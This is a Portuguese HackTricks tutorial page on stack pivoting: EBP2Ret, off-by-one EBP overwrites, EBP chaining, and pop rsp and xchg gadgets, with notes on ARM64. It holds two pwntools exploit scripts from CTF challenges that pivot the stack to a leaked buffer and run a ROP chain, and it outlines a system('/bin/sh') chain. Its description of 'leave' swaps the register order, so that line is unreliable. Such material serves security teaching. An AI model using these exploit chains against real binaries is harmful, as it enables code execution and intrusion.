12 KiB
Stack Pivoting - EBP2Ret - EBP chaining
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informação Básica
Essa técnica explora a capacidade de manipular o Base Pointer (EBP) para encadear a execução de múltiplas funções por meio do uso cuidadoso do registro EBP e da sequência de instruções leave; ret
.
Como lembrete, leave
basicamente significa:
mov ebp, esp
pop ebp
ret
E como o EBP está na pilha antes do EIP, é possível controlá-lo controlando a pilha.
EBP2Ret
Esta técnica é particularmente útil quando você pode alterar o registro EBP, mas não tem uma maneira direta de alterar o registro EIP. Ela aproveita o comportamento das funções quando terminam de executar.
Se, durante a execução de fvuln
, você conseguir injetar um EBP falso na pilha que aponta para uma área na memória onde está localizado o endereço do seu shellcode (mais 4 bytes para considerar a operação pop
), você pode controlar indiretamente o EIP. Quando fvuln
retorna, o ESP é definido para esta localização manipulada, e a subsequente operação pop
diminui o ESP em 4, fazendo com que ele aponte efetivamente para um endereço armazenado pelo atacante lá.
Observe como você precisa saber de 2 endereços: Onde o ESP vai chegar, onde você precisará escrever o endereço apontado pelo ESP.
Construção do Exploit
Primeiro, você precisa saber de um endereço onde pode escrever dados / endereços arbitrários. O ESP apontará aqui e executará o primeiro ret
.
Em seguida, você precisa saber o endereço usado pelo ret
que irá executar código arbitrário. Você poderia usar:
- Um endereço válido de ONE_GADGET.
- O endereço de
system()
seguido por 4 bytes de lixo e o endereço de"/bin/sh"
(bits x86). - O endereço de um gadget de
jump esp;
(ret2esp) seguido do shellcode a ser executado. - Alguma cadeia ROP
Lembre-se de que antes de qualquer um desses endereços na parte controlada da memória, deve haver 4
bytes por causa da parte pop
da instrução leave
. Seria possível abusar desses 4B para definir um segundo EBP falso e continuar controlando a execução.
Exploit Off-By-One
Existe uma variante específica dessa técnica conhecida como "Exploit Off-By-One". É usada quando você pode apenas modificar o byte menos significativo do EBP. Nesse caso, o local de memória que armazena o endereço para pular com o ret
deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.
Normalmente, o byte 0x00 é modificado para pular o mais longe possível.
Além disso, é comum usar um trenó de RET na pilha e colocar a verdadeira cadeia ROP no final para tornar mais provável que o novo ESP aponte para dentro do RET SLED e a cadeia ROP final seja executada.
EBP Chaining
Portanto, colocando um endereço controlado na entrada EBP
da pilha e um endereço para leave; ret
em EIP
, é possível mover o ESP
para o endereço EBP
controlado da pilha.
Agora, o ESP
é controlado apontando para um endereço desejado e a próxima instrução a ser executada é um RET
. Para abusar disso, é possível colocar neste local controlado do ESP o seguinte:
&(próximo EBP falso)
-> Carregar o novo EBP por causa dopop ebp
da instruçãoleave
system()
-> Chamado porret
&(leave;ret)
-> Chamado após o término do sistema, moverá o ESP para o EBP falso e começará novamente&("/bin/sh")
-> Parâmetro parasystem
Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa.
Isso é como um ret2lib, mas mais complexo sem benefício aparente, mas poderia ser interessante em alguns casos específicos.
Além disso, aqui está um exemplo de um desafio que usa essa técnica com um vazamento de pilha para chamar uma função vencedora. Este é o payload final da página:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP pode não ser usado
Conforme explicado neste post, se um binário é compilado com algumas otimizações, o EBP nunca chega a controlar o ESP, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem nenhum efeito real.
Isso ocorre porque o prólogo e epílogo mudam se o binário for otimizado.
- Não otimizado:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Otimizado:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Outras maneiras de controlar RSP
Gadget pop rsp
Nesta página você pode encontrar um exemplo usando essa técnica. Para este desafio, foi necessário chamar uma função com 2 argumentos específicos, e havia um gadget pop rsp
e um vazamento da pilha:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
Gadget xchg <reg>, rsp
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Verifique a técnica ret2esp aqui:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
Referências e Outros Exemplos
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, exploração off by one com uma cadeia rop começando com um ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bits, sem relro, canary, nx e pie. O programa fornece um vazamento para a pilha ou pie e um WWW de uma qword. Primeiro obtenha o vazamento da pilha e use o WWW para voltar e obter o vazamento do pie. Em seguida, use o WWW para criar um loop eterno abusando das entradas
.fini_array
+ chamando__libc_csu_fini
(mais informações aqui). Abusando dessa escrita "eterna", é escrita uma cadeia ROP no .bss e acaba chamando-a pivotando com RBP.
ARM64
No ARM64, os prólogos e epílogos das funções não armazenam e recuperam o registro SP na pilha. Além disso, a instrução RET
não retorna para o endereço apontado por SP, mas para o endereço dentro de x30
.
Portanto, por padrão, apenas abusar do epílogo você não será capaz de controlar o registro SP sobrescrevendo alguns dados dentro da pilha. E mesmo que você consiga controlar o SP, ainda precisaria de uma maneira de controlar o registro x30
.
- prólogo
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP aponta para o registro de quadro
- epílogo
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
{% hint style="danger" %}
A maneira de realizar algo semelhante ao pivoteamento de pilha em ARM64 seria ser capaz de controlar o SP
(controlando algum registro cujo valor é passado para SP
ou porque por algum motivo SP
está pegando seu endereço da pilha e temos um estouro) e então abusar do epílogo para carregar o registro x30
de um SP
controlado e RET
para ele.
{% endhint %}
Também na página a seguir você pode ver o equivalente de Ret2esp em ARM64:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Obtenha o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud github repos.